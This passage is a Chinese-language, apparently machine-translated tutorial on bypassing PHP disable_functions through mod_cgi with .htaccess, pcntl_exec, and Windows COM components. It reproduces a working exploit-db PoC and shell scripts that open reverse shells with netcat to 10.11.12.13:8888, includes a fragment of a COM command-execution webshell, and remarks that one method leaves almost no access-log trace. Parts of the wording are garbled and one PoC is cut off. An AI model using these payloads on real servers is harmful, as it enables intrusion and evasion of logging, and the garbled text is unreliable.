第一个条件最好满足,因为我们是apache2+php5环境;
我们来看第二个条件:
默认安装httpd后会启用mod_cgi模块。 您可以通过以下命令检查已经安装的apache模块:
httpd - M
cgimodule真的是mod_cgi吗? 这里我们看apache官方文档。
()
根据描述,mod_cgi的功能如下:
任何具有 mime 类型 application/x-httpd-cgi 或由 cgi 脚本处理器(Apache 1.1 或更高版本)处理的文件都将被视为 CGI 脚本并由服务器运行,其输出将返回到客户 。 有两种方法可以使文件成为 CGI 脚本,或者文件具有由 AddType 指令定义的扩展名,或者文件位于 ScriptAlias 目录中。
虽然很简单:mod_cgi模块就是在服务器上运行cgi脚本文件或者用户自定义格式的脚本文件,并返回输出。
第三个条件和第四个条件都是.htacess,我们一起来看看。
首先php规范,第四个条件是.htaccess文件可以写入。 这很简单。 通常php规范,该文件在指定的 Web 目录中启用。 我们可以自己在web目录下创建文件,那么写文件自然就很容易了。
对于第三个条件,.htaccess文件是否生效取决于apache配置文件中指定web目录下的AllowOverride参数值的设置。
当AllowOverride 设置为None 时,.htaccess 文件将被完全忽略。 当此指令设置为 All 时,.htaccess 文件中允许使用具有“.htaccess”范围的所有指令。
这里我直接将apache配置文件的web目录下的AllowOverride参数设置为ALL。
有人可能会说这样的设置有点尴尬,这不是默认配置啊!
我们来看看apache官方文档allowoverride(#allowoverride)的介绍
上面提到:apache2.3.8及之前版本,AllowOverride参数默认值为ALL
要知道2.3.9以上的版本已经改为None,所以影响范围还是相当可观的。 但目前我的 web 目录中没有 .htaccess 文件。 这个好像不影响,接下来会说明。
好了,到这里我们已经满足了全部 4 个条件,让我们尝试重现一下。
开始重现
这里直接使用exploitdb上的poc。
mod_cgi.php
<?php $cmd = "nc -c '/bin/bash' 10.11.12.13 8888"; //command to be executed $shellfile = "#!/bin/bashn"; //using a shellscript $shellfile .= "echo -ne "Content-Type: text/html\n\n"n"; //header is needed, otherwise a 500 error is thrown when there is output $shellfile .= "$cmd"; //executing $cmd function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter { echo "$text: " . ($condition ? $yes : $no) . "
n"; } if (!isset($_GET['checked'])) { @file_put_contents('.htaccess', "nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked } else { $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled? $writable = is_writable('.'); //current dir writable? $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled? checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No"); checkEnabled("Is writable",$writable,"Yes","No"); checkEnabled("htaccess working",$htaccess,"Yes","No"); if(!($modcgi && $writable && $htaccess)) { echo "Error. All of the above must be true for the script to work!"; //abort if not } else { checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know. checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGInAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx echo "Executing the script now. Check your listener "; //call the script } } ?>
直接上传php文件到web目录下,执行上述命令回调shell。 我们打开窃听服务器的指定端口,然后尝试访问该文件。
崩溃成功,可以执行命令,绕过disable_functions的限制。
探究原因
我们来分析一下为什么这个poc可以实现命令执行?
mod_cgi.php简单分析:
首先讲一下当前目录下的shell.dizzle文件中shell的命令。 如果你不知道这个后缀也没关系,旁边会解释的。
下面是创建一个函数checkEnabled,检测是否满足指定的条件。
然后检查url中是否有checked数组。 如果没有尝试创建 .htaccess 文件,请重定向 url 以添加 ?checked=true。
取出来依次测量:
1. mod_cgi 模块是否启用 2. 当前目录是否可写; 3. . htaccess 文件是否可以生效;
如果不满足,就会报错,提示不满足使用条件。
取出并备份原来的.htaccess文件,并创建一个新的.htaccess文件,内容如下:
Options +ExecCGInAddHandler cgi-script .dizzle
创建shell.dizzle文件并赋予777权限,最后通过js调用脚本在服务器上运行。
这个想法特别清晰,尽管创建的文件可以在服务器和浏览器上听到。
添加新的.htaccess文件,但听到上面的内容
内容是:
Options + ExecCGI AddHandler cgi - script . dizzle
关于Apache Options指令的含义,请参考ApacheOptions指令解释()
其中ExecGGI代表使用mod_cgi模块执行CGI脚本的权限。
而AddHandlercgi-script.dizzle则表示后缀名为.dizzle格式的文件调用cgi程序来处理。
这与另一个 apache 配置中的 AddType 非常相似。 两者有何区别?
AddType 是与类型表相关的,描述的是扩展名与文件类型之间的关系,如: AddType application / x - x509 - ca - cert . crt 说明 .crt 扩展名的文件就是application/x-x509-ca-cert类型的; 在内容协商时,如果客户端需要是application/x-x509-ca-cert类型的,就将 .crt结尾的资源返回 注意: 经过内容协商的资源,在 http 相应头中有相应的 Content - Location 说明,如: GET / a HTTP / 1.1 … … Content - Location : a . php … AddHandler 说明什么样的扩展名使用什么样的程序来处理,描述的是扩展名与处理程序之间的关系 AddHandler cgi - script . cgi
简而言之
AddType是定义后缀名的文件对应的文件类型
AddHandler是一个处理程序,定义了哪些文件扩展名对应
添加新的shell.dizzle文件,上面的内容就是回调shell
页面js调用shell.dizzle
好了,到这里我们基本上就重现成功了,并且讲解了原理。 理解它的最好方法是自动重现它。
使用 pcntl_exec
网上好像资料很多,重复记录的并不多。 原因可能是默认没有安装pcntl扩展,而这个方法比较少。
pcntl 扩展是为了让 PHP 支持多线程操作而开发的。 默认情况下,不安装此扩展。
所以为了重现,我们需要自己安装扩展。 这里我们需要用到phpize(用于动态为PHP添加扩展,防止php的重新编译安装)。 如果phpize命令不存在或者报执行错误,可以使用yum或者apt-get安装php-devel。
安装pcntl扩展时记得下载与安装的php相同版本的源码包。 如果找不到,可以去PHP5博物馆()找下载。
--安装pcntl教程参考:
php5.5安装pcntl扩展()
如何安装php扩展pcntl()
请记住,需要从 php.ini 中的disable_functions 中删除pcntl_exec。
安装完成后,可以计划上传两个文件到web目录下。
pcntl.php的核心是借助pcntl扩展的pcntl_exec函数来执行指定的脚本。
test.sh,因为该脚本可以是Linux shell脚本,所以比较灵活,建议直接回调shell
#!/bin/bash nc - e / bin / bash 10.11 . 12.13 8888
这时,我们的远程服务器开始窃听并尝试访问pcntl.php。
命令执行成功,页面错误没有影响。 这样做的用处是,此时access_log不会有任何记录,而连接断开时error_log只会有1条记录。 隐蔽性还是可以的~
Windows系统组件
借助COM组件绕过disable_functions,这是Windows上绕过的坐姿之一。
在PHP5.x系列中,可以使用应该绕过的坐姿。 无奈之下,我只能使用我本地的Windows 10来复现。 我以为是9102年前。 使用~
测试环境
操作系统: Windows 10 Apache 版本: Apache2 PHP 版本: PHP 5.6 . 15 禁用函数:symlink,show_source,system,exec,passthru,shell_exec,popen,proc_open,proc_close,curl_exec,curl_multi_exec,pcntl_exec
为了方便,我直接使用XAMPP搭建的环境,也配置了disable_functions。 通过webshell后,我可以查看文件,但无法执行命令。
事实上,该漏洞被利用时,还是需要一定的条件的。 因为是COM组件的问题,所以现在必须在php.ini中启用相关的dll和配置,然后重启apache。
extension = php_com_dotnet . dll com . allow_dcom = true
下面简单描述一下COM组件的用途:
COM 组件由作为 Win32 动态链接库 (DLL) 或可执行文件 (EXE) 分发的可执行代码组成。 遵守COM规范编译的组件将能够满足组件架构的所有要求。 COM组件可以为应用程序、操作系统和其他组件提供服务; 自定义COM组件可以在运行时与其他组件连接形成应用程序; COM 组件可以动态地插入应用程序或从应用程序中删除。
复发过程
这里直接使用构造好的poc
通讯.php
exec('cmd.exe /c '.$command); //调用对象方法来执行命令 $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput ?>
然后尝试访问
http : //url/comm.php?a=whoami
尝试查看当前目录pwd
让我们看看我们是否可以玩估算器
真的没事,而且疗效也很大。 这些启用 COM 组件的 php 站点简直就是绕过杀手。
- 结论
嗯,这里介绍的坐姿就好多了,虽然还有很多其他的坐姿没有介绍,比如:
imap_open绕过(与pcntl类似,需要安装imap扩展)
绕过黑名单函数(利用利基函数执行命令)
Perl 扩展安全模式绕过
win32std 扩展绕过
...
有兴趣的男伴可以自己重现一下体验。 这里我就不继续补充了。 尽管写完这个教程之后我在环境搭建上花了很多时间,但我还是收获了很多。 学习永无止境。 我觉得需要学习的东西还有很多~
参考链接